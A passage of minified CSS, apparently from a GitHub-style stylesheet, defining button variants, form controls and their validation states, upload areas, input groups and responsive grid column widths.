var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px 